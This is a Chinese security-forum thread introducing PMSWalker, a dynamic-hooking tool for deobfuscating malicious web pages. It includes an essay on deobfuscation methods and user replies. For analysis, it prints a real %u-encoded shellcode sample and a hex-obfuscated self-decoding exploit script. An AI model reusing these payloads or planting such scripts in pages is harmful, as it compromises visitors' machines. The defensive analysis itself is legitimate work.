自动化网马分析工具PMSWalker(并谈所谓“网马解密”)(更新Win7、Win8兼容性)

promised

我不用Windows 7，没有测试，兼容性不好，实在抱歉，新版支持Win7和Win8
http://code.google.com/p/pmswalker/downloads/list
旧：
PMSWalker不带扫描器：
http://code.google.com/p/pmswalker/downloads/list
PMSWalker带扫描器（病毒库自行更新）：
。

PMSWalker要下载符号文件，初次启动比较慢，相关介绍见2楼

注意某些网马Heap Spray太厉害请及时Abort终止其Heap Spray
对你系统中IE的安全性没有信心的话请在沙盘或虚拟机里运行PMSWalker

小更新了一下，因为IE6太古老，发布前没有测试，真是汗颜

使用扫描器请确保scan目录下没有名为temp的目录(最好等两个Load按钮都Enable了之后再结束程序)
scancl完整病毒库更新地址(感谢小A指正)
http://dl.antivir.de/package/fus ... /vdf_fusebundle.zip

使用PMSWalker轻松处理难解的网马
http://bbs.kafan.cn/thread-1047306-1-1.html

8.9
自动处理shellcode时模拟步数略微下调(原本过大没有必要)
扫描器换用新版本病毒库
8.10
调整自动分析，可能长时间不会再更新，至少在反混淆和抓取跨站上PMSWalker已经比以前的很多工具强不少了，要手动处理的应该并不多（比如恶意swf、pdf的分析PMSWalker并不涉猎），所以不要太依赖自动化，机器毕竟不如人
今天看到了好久不见的FSTENV GetPC的shellcode

1. %ub492%u7f7b%u7772%u4a43%u7e78%ufc69%u7379%u1b7d%uf8d1%ub5b9%u4f14%u9035%u9b67%u3bb0%u97d5%ua8b7%ud410%u11ba%uf9d2%ubb25%ub28d%ub43c%u2a47%uc7fe%ue3c1%u1575%u7c42%u3f71%u244b%u872f%ue1d3%u332c%u85fd%u3de2%u1d05%uf52b%u91be%u40b3%u4166%ub81c%u2d70%u8992%u37eb%u0246%u7be0%u3048%u98d6%u347a%u99b1%u0ca9%u96bf%u04b6%u494e%u939f%u7674%uba43%u70be%u3479%u7a05%u4f75%u20b3%u4ae1%u47bf%u9b2f%u0b35%u81d6%u15e2%u80b8%u9fd4%u3871%u40fd%u8da8%uf508%u4b3c%u3f92%u227b%u49d5%u7d7c%u667e%ua904%u9197%u7325%u2c76%u4e90%u74b7%u1c14%u2467%u1d37%u93b9%ufc39%ubbb4%uf984%ueb88%ue029%u7877%u2d0c%u4898%u9699%uf83a%u727f%u4142%u46b0%ub53d%ub2b1%u12b6%u7ee3%u7a7c%ue032%u747b%u667f%ue301%uf518%u46b6%u7914%u9124%ubabe%u838d%u3cf9%u282d%uc0ff%u8cd6%ud0d3%ufcd2%u7197%uf830%u7876%u7d05%ub904%u1d9b%u0b67%ub1d5%u932f%ud438%ub048%u3473%ub235%u4f99%u499f%ub790%u0ca9%u3d42%u4b77%u2547%ub396%ub41c%uf787%u41e1%u3772%ubb3f%u754e%ub515%u432c%u98b8%ueb83%u4a70%u40a8%u19bf%u7fe2%uc103%u71eb%u7a7c%u727e%ufd12%ubb92%ub792%u768d%ub80c%uf880%ue239%u2574%u9196%u8648%ue0f6%u7924%u4a7b%ud418%u41be%ue132%u9b2f%ua8b6%u239f%ubaf5%u0266%u73e3%ub367%u7770%ufd6b%u3c43%u99b4%u497d%u463d%u3bbf%u42d5%u1c90%u4eb9%u4b47%u4f75%u05b0%u34a9%u352c%u402d%u931d%ud601%u7898%ub537%u69b2%u33fc%u97f9%ub115%u043f%u8814%u77e0%u4f74%ub897%u24a9%ue110%ud42b%u79b7%ua834%ubb8d%u1c37%u783c%u7375%u1d76%u2a40%u25fd%u3f7e%ue31a%u4305%u7a96%u227d%u71fc%u7c70%u2f46%ue231%u353d%ueb84%ub367%uf821%u7b99%u9f47%u137f%ub0d5%u72b5%u9b4e%u78b9%u8c15%u42e2%u667d%u7eba%u7f41%u0473%u4b7a%u90b2%u79b4%u850c%uf9d1%u1171%u14e0%u2875%u49e1%ub6be%u9392%u7798%u744a%ubf2c%ueb89%u912d%u0872%u76f5%ud620%u487b%u7cb1%u672d%u8191%u42e3%ub234%ub566%u1d43%ub83c%u4649%u25a9%u9047%u1c05%ub714%u8d3d%ub999%u489f%u4eb0%uc69b%ud5c0%ubba8%ub197%u37bf%u1b70%u40fd%ud43f%u96f5%u4bb4%u9324%u2cfc%uf829%u9815%u04b6%uf90c%u35ba%ube41%u92b3%u2f4f%ud63a%udb4a%ubdcc%u982c%u448c%u74d9%uf424%u2958%ub1c9%u315f%u1768%u6803%u8317%u64c4%ub16e%u5195%uc83b%ua66a%u3c2f%u13ce%uf483%u1a88%u07df%u69d4%u912a%u6b36%ua4c1%u675e%u58e9%u0861%u3e5a%u7004%ubda1%u2a0e%ua7bf%u3ef7%u4219%ud615%u591c%uf10b%ub08e%u136a%u115b%ufe7e%ubb1c%u6ae4%udb31%uf1a1%u3157%u8806%u4132%u5d67%ub88a%uf8d1%uaf69%u0e76%u0ffa%ucfe2%u01e8%ue932%u7fe9%u2a2f%uf076%u158f%ue24e%u885b%ube8e%uf6f9%ub978%u5e67%u69d3%u4d68%u98b2%uf749%uc62e%u802d%u6dd5%u6295%u0b73%u917f%u3ee0%u8f11%ua9b9%ue6ff%u4bb6%u893f%uedf1%uf326%u5118%ucfcc%u0bd2%uaa22%uc12f%uc6fb%u2628%u8c8a%u3ed0%ud7f5%ucabd%u37ca%u6c58%u2bcd%u6b38%uaa42%u9178%u74e9%ue394%u3ee2%u8d53%u34ca%ucf3a%u7348%u583a%u2290%u3d66%u3af5%udb64%u179c%u15cc%uad57%u6c20%ufc01%u7dda%uc988%ue4ef%ua3dc%u8e26%u5e2e%u1613%ubd9b%u453a%u7583%u5a77%ue089%ua6c3%udfcd%u5fa8%u4667%ud115%u1fc8%u77cf%u1ce8%ub1e2%u2bff%u9907%u2e02%ue613%u3b16%uc97d%u511a%u16b4%u4708%u23b5%u6811%u30ad%u6453%u22c4%uaf43%u7bb0%ua773%u621f%ub28f%ub939%ub38e%u8fd7%udfa1%ue8d4%ub9bc%ufff0%u47c6%u0f2f%u53cd%u1b28%u7cd1%u3050%u88fa%u3f97%ueb0b%u0b94%ud126%u62d3%u1f3f%u83ed%u2d42%uabe4%u5b4c%u8cf5%ucc35%u5972%u3735%u8e54%u30c2%ufedd%ud256%u9858%u4288%u12fe%ue2fb%ub779%u772c%u6916%u0f57%uf583

复制代码

8.11
增加Minimum杂项设置最小长度以判断是否允许添加入Catch列表，阻止一些不需要关心的垃圾信息

promised

    谈所谓“网马解密”
    首先我认为“网马解密”这个词不合适，本文一律改称“网马反混淆”。
    本文分为五部分：“网马混淆”与“反混淆”、“静态模拟”的反混淆方法、“动态钩挂”的反混淆方法、有关“网马解密”的文章、PMSWalker介绍。
    “网马混淆”问题：
    网马往往为了规避各种监测而进行“混淆”。我们看一个简单的例子：

1. <SCRIPT
   
2. LANGUAGE="JavaScript">function a(p){var
   
3. j,t;j="";for(i=1;i<=p.length;i++){if((i%2)==0){t="0x"+p.substr(i-2,2);t=t.toString(10)-8;j=j+String.fromCharCode(t);}}return
   
4. j;}window.document.write(a("446A7D7C7C777628716C452A7577762A2877766B74716B73452A7B6B74716B733031432A285B5C61544D452A4C515B58544961425657564D2A4644376A7D7C7C7776461512447B6B7A71787C287469766F7D696F6D452A52697E695B6B7A71787C2A286C6D6E6D7A4615126E7D766B7C717776286B7275307B318315127E697A287A7B7C7A347643151276452A2A4315126E777A2830714539437144457B36746D766F7C70284371333328311512831512716E28303071282D283C314545383115128315127A7B7C7A2845282A2D7D2A337B367B7D6A7B7C7A3071353A343A31337B367B7D6A7B7C7A3071353C343A31431512764528762833287A7B7C7A4315128515128515127A6D7C7D7A76287D766D7B6B69786D3076314315128515127E697A28747E2845286B7275302A41384138413841383D403D403D403D404D4A39383D4A3C4A3B3B4B413E3E4A414A40383B40383B3C384A4A4C4D3A4E494D4A383D4D404D4A4E4E4E4E4E4E3D3C493B4A4D4A4C4A4C4D3A4C41394B404C4A4C4A4C4A4C3B3E4E4C4A393B3E4B4C493939383B3E4C3D4A3D3B3E3C494C3F494B4D3C3D3D383B4A4E4A4C4A4C3A4C3D4E3C3D4C3D404D404E4A4C4A4C4C3D4D404B4D4C404B4E4D413B3E4E4A4A393D3D383B4A4B4A4C4A4C3B3E3D3D4C3F4A404D3C3D3D3A3B4A4E4A4C4A4C3D4E3C3C4C3D4C3A4C3B4A4C4A4C4C3D4B404B4E4C394C384D413C3A494A3B403F4C4B40494D4C3D4C3A4C3B4A4C4A4C4C3D4B404B4E4C394C384D413B3E4E4A4A393D3D3B3B4A4B4A4C4A4C3B3E3D3D4C3F4A4B4D3C3D3D4C3B4A4E4A4C4A4C3D4E3C3C4C3D4C39404D404E4A4C4C3D4B4D4C3D4C404C394D413B3E4E4A4A393D3D4C3A4A4B4A4C4A4C3B3E3D3D4C3F4A4B4D3C3D3D4E3A4A4E4A4C4A4C3D4E3C3C3B4B3D394A4C4A4B4A4C4A4C3B3E3E393B4B3F4D3B4C4A4C4A4C4A4C4C3F4A4C4C3F493F4D4D4C3F4A4C3C3A4D4A4D39404D3F4C4E4C3B4C40394A4D4A4C4B403C3C3F494A414A4D4D394C4D413B4C403F494E414A4D4A414B3D4C404A4C4A4C404D3F3C4D4B4D4B4D4D4D494D4B404D3F4C3B3E4E4A4D3D3D3D414E4A4B4A4C4A4C3B4D3C3D4A4C3D3C394D4A4C4A4C4A4C3A4C4C3F4A4C4C3F4A4C4C3F4A4D4C3F4A4C4C3F4A4E4C3D4A4C4A4C4A4C3F4C4D4D3B3E4E4A41413D3D4A4B4A4B4A4C4A4C3B3C4E4A4C4C4C3F4A4C4D4C3C3A4D4A413D3B3C4E4A4C413B3E4E4A4C4C4C3F4A4C4C3F4A4C4C3F4A4C4C3F4A414C3F4A4C4D4C3C3A4D4A41394C3F4A4C4C3F4A4C4C3F4A4C4C3D493A4A4C4A3A4A4C4D4C3C3A4D4A40393B3C4E4A4B3D3B3E4E3B4C413B4C4B394A3D3C3A38414B414A393B4C4B394A3D3C3A4A4C4B414A403B4C4B414A3D3C3A38413D4E3D3E3B3C3B4A3B4C4A4C4A4C4A4C3F494E4A4B4C4A4C4A4C4A4C4A4C3F494E4A4B414A4C4A4C4A4C4A4C4C3F4A4C4C3F4A4C4C3F4A4C3B3E4E4A4C4C4D4C3C3A4D4A403D3B3E3B4A3B4C4A4C4A4C4A4C4C3F4A4C3B384E3B4B414D4B3C3A4B4A4B4C4D4C3C3A4B4A4C4C3C3A4D4A404C3C3A4B4A4C4C3C3A4D4A40413C3A4B4A4B3D3C3A4D4A4E4C3B3E3C3E404D3F4C404D3E3E3B4B3D394A4C4A4E4A4C4A4C3B3E3F393B4D3C3D4D414B384A3D3B3C49394A4B3B4D3F4C4A413D3E3C4D3B3E3F393B3E3E3C3B4D3F4D494C404D3F4C4D4C4D4B4D4D4D4C4D4C4D4C4D4C4D4C4D4C4D494D4C4D4C3C3A4D4A4A3D3B3E4B3B4D413D3D494C4A4B4A4C4A4C3D3D4C404A4C4A4C4A4C4C3D4C4D4B4A4B494A4C4C3D4B4D4C3D4C414C3A4D413B3E4E4A4A393D3D41414A4C4A4C4A4C3B3C4E4A40394C41394B4A414A4C4A4C4A4C3B38394C4C4C3C3A3C3A3C3A4C3F4C403C3A4B4A40393B3E4E4A494C3D3D4A3D4A4C4A4C4A4C404D3E3E4D4D4D4D4D4D4D4D3C3A3E4C3B4C403D3D3D3B4C403D3D3C4B40494B3B4B4B3D4A403A4C3A4C3A4C3A4C4B414A3D3B3E3C3A4D403B3E3D393B384E4C4A403C3A3D4C3D3D394A4A4C4A4C4A4C3F4D3D3D394C4A4C4A4C4A4C383D494B4A4B4A413B4C3F4E4A394A4C3D3D3A4D4A4C4A4C4A4C3B4B3D394A4C4A4B4A4C4A4C3B3E3C393B4D3F494A413F494A49404E4B413A4B4A393F494E494A414C4D3B3C3E4B4E3A3F494E494A3D394C4C403A493F3E3F494E494A394D4B4E4C383F4B3A3F494E49494C403B4938384A403C3F494E494941383D4C3C3E41493E3F494E49493D383B4B3A4C4A394C3F494E4949393C39393C404939383F494E49414C3A3D4A3F494C3C3D4C41394B404C4A4C4A4C4A4C3B3E4E4C4A393B3E4B4C493939383B3E4C3D4A3D3B3E3C494C3F4A414D3C3D3D4D414A4C4A4C4A4C3A4C3D4E3C3D4C3D404D404E4A4C4A4C4C3D4D404B4D4C404B4E4D413B3E4A4A3D3D4D403C3A3C3A3C3A3B3E3D3D4C3F4A404D3C3D3D40404A4C4A4C4A4C3D4E3C3C404D3C3A4D493C3A4D4A4A413D3E4A4E4D3D3F4D3D3D3C3C3C3A3C3A3C3A4D3E3F4A4A49383D3B3C4D3A4A4B4C4A3F494E494A403C3A3D4C3F4D4D4D3B3E3E394D4D4C3F4E4C4C3D4A4C494C4A4C4A4C4D493B3E4E4A414C3D3D493D3C3A3C3A3C3A4D3D3F4D4D4B4D4A3B3E4B4040393B3E4B41413B4B3D4A4D3C404D4A3B3E4B4A414C4A4D3C40404D3F3C4E3C4E4B39384A4D3F40404D3E3E4A3A383B494C403F3E4A4B414A3D3F4B3F3E4A494A4D3E3F4E4C3D3E3C4B403E493A4B403D494D3B3B3E4D3B41414A4D3E384C4A3B3E4A394E3E3B3E4D3B49394A4D3E383B3E4A413B3E4A4D3F40393E4D3B4D3C3F4D3D3D3E383C393C3A3C3A384E3C4E3D4E3C41403C3D4E4B383B4D3E3F4E3D4B3E4038404E4B413A4B4A393B403E3A393A383E4C4D3B3C3E4B4E3A4D4B4E4C383F4B3A394C4C403A493F3E493B39414C413D3A3A4D404E3D413A413B3B494D4A3F39393F4E493C4E3E4A4B3F413B38493A4B414D494C4A4A383C3A4E4D383B39393E3E4B383C4C39403A3F4D4E3C3B39493E3F403B4938384A403C383D4C3C3E41493E383B4B3A4C4A394C3C39393C404939383A3D4A3F494C3C3D3B4C3E4A393A3A3F3C3E4D4D49406C6A4C3D4B414B414B4C403F413A413A4B494B494B49413B4B4E4C3A4C4E4C3A4B41404B404B4041413B4C4D4C3A4C38413A4C4D4C4B4C4A4C40413A4C3D4C404C394B4C413A4C4E4C3A4B3D413B4C404B3D4C404A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4D494D492A3115127E697A284B697A7A284528766D7F28497A7A698130314315127E697A28717C2845283880403E383838283528747E36746D766F7C70323A4315127E697A287F6E74696F2845282A2D7D386B386B2D7D386B386B2A4315127E697A28737B2845287D766D7B6B69786D307F6E74696F314315127F7071746D30737B36746D766F7C70284428717C373A3128737B283345737B4315127E697A2878284528737B367B7D6A7B7C7A71766F30383428717C373A314315126C6D746D7C6D28737B4315126E777A307145384371443A3F38437133333115128315124B697A7A63716528452878337833747E4315128515126E7D766B7C717776287B6B74716B73303115128315127E697A287B4A776C812845286C776B7D756D767C366B7A6D697C6D4D746D756D767C302A4A574C612A314315127B4A776C8136696C6C4A6D70697E71777A302A2B6C6D6E697D747C2B7D7B6D7A4C697C692A314315126C776B7D756D767C366978786D766C4B7071746C307B4A776C81314315127C7A8115128315126E777A28307145384371443938437133333115128315127B4A776C81367B6D7C497C7C7A716A7D7C6D302A7B2A347F71766C777F314315128515128515126B697C6B70306D311512838515127F71766C777F367B7C697C7D7B33452A2A4315128515126C776B7D756D767C366F6D7C4D746D756D767C4A81516C302A7577762A313677766B74716B73303143151244377B6B7A71787C461512"));window.location.reload();</SCRIPT>

复制代码

经过混淆的网马都需要自解密，我们只需要关照eval、document.write等函数即可。这里我们可以使用最简单的方法，如替换eval为document.write再替换document.write为alert或重定向到一个<textarea></textarea>中。但聪明的网马作者可以采用各种手段令上述方法无效，如eval.toString()判断eval是否被篡改。当然我们可以用脚本调试器（Microsoft Script Editor、IE F12、Firebug等）等高级工具，但有时它们并不方便。
    “静态模拟”的反混淆方法：
    不少工具使用了“静态模拟”的反混淆方法，如MDecoder用正则表达式解析html、用v8引擎解析js，Malzilla用HTML Parser解析html、用SpiderMonkey引擎解析js（我以前的一个工具也是模仿的Malzilla），而Freshow等不带脚本引擎的工具已经显得无用。然而上述工具都没有实现DOM解析，Honeynet上有个叫做Phoneyc的项目实现了部分DOM解析并模拟了部分ActiveX插件，但实际效果很不理想。没有DOM解析就带来了很多问题，我们看一个例子：

1. <script>
   
2. function start()
   
3. {
   
4. var iframe = document.createElement('iframe');
   
5. iframe.setAttribute('src','http://www.baidu.com');
   
6. document.getElementById('mybody').appendChild(iframe);
   
7. }
   
8. </script>
   
9. <body onload = 'start();' id = 'mybody'>
   
10. </body>

复制代码

上述工具都没有办法正确解析http://www.baidu.com这个跨站。因为进行DOM操作的js根本无法正确执行，因此处理国外几大Exploit Kit非常困难。但“静态模拟”也不是没有优点，至少它很安全。
    “动态钩挂”的反混淆方法：
    “静态模拟”完全实现DOM解析就等于实现一个浏览器，那工作量实在太大了。于是我们想到在浏览器上挂一些钩子实现“反混淆”，这种方法实用方便。
    有关“网马解密”的文章：
    两个国外的Paper http://cansecwest.com/csw07/csw07-nazario.pdf和http://www.toorcon.org/tcx/26_Chenette.pdf很好的介绍了网马反混淆。国内也有不少关于“网马解密”的文章，大多数都是教你使用工具，而这些工具只提供静态的固定的几种解密函数，直接忽略之。“网马解密参考手册”这篇文章写得不错，但其作者将网马按加密类型分类，这点很不可取。网马根本无法按加密类型分类，它可以低端到转义字符，高端到AES，毫无定式。那篇文章还把Ucs2ToHexToAsc称为shellcode加密，shellcode就是一段机器码何来“shellcode加密”之说。所谓shellcode加密应是shellcode经过混淆并在执行过程中自修改以规避检测的手段。而大多数工具只是用xor密钥枚举提取某些shellcode所要下载的url，实际上是投机取巧。聪明的shellcode作者不会采用单一的xor密钥加密，所以只有调试或模拟器模拟才是正确的shellcode解密方式。
    PMSWalker介绍：
    PMSWalker是使用“动态钩挂”方法分析网马的工具。PMSWalker的基本功能如下：
    Tree部分为frame与script树，Catch部分为钩挂到的敏感函数列表，Payload部分为自动提取的Payload列表。
Setting部分为一些配置，Block为是否阻止window.open等弹窗，Reset为下次分析时是否清空之前分析的内容，Scan为是否开启自动分析。
    Load部分Load From Moniker为分析Url框中的地址（可以是本地地址如“C:\1.htm”，也可以是远程地址，http、ftp等协议均支持），Load From Stream为分析Stream框中的内容（分析没有Load From Moniker准确）。
Decode部分为相关杂项：Stream为输入，Result为输出。Abort（无参）为中断分析，Alpha2（无参）不解释，Base64（无参）不解释，Convert（二参）编码转换默认为us-ascii解密，DecToAsc（一参，为前分割符）十进制转ascii，Encode（无参）JS/VBS.Encode解密，EmuXor（一参，为前分割符）Xor枚举，Filter（一参，为Url）为过滤PayLoad中相同的Url，匹配长度以参数的长度为准，Find（一参）正则表达式查找Stream中的内容，参考http://msdn.microsoft.com/en-us/library/1400241x(v=vs.85).aspx，HexToAsc（一参，为前分割符）十六进制转ascii，Insert（一参） 为插入PayLoad，Log（无参）提取日志，OctToAsc（一参，为前分割符）八进制转ascii，Replace（二参）正则表达式替换，Shellcode（二参，为前分割符和单步步数）为模拟器模拟Shellcode，Api为提取Api调用，Mem为提取执行后的内存内容，Split（二参，为相隔字符数和分割符）为分割，Ucs2ToHex（二参，均为前分割符）默认为%uXXXX转\xXX\xXX，Unescape（无参）不解释。注意Shellcode等功能只支持\xXX\xXX的形式，所以%uXXXX必须用Usc2ToHex再用Shellcode。
    自动分析说明：如果PMSWalker所在目录有scan子目录，且scan中为红伞的命令行扫描器（scancl.exe及库）PMSWalker会在自动分析时调用它进行扫描，扫描结果在日志中[Scan Info]项下。
    安全声明：PMSWalker使用IE引擎动态分析网马，如果你的系统存在相应漏洞，本人不承担任何使用PMSWalker所产生的后果。

Hopesky

支持

帅就是帅

终于放出来了。。。。

受教学习

疯狂的小鬼

膜拜下，md神马的可以扔了

blue_仰望

学习了。

是昔流芳

support

XMonster

自动。。

sfzjn

不会使用。。。。

kafan988

这个怎么用啊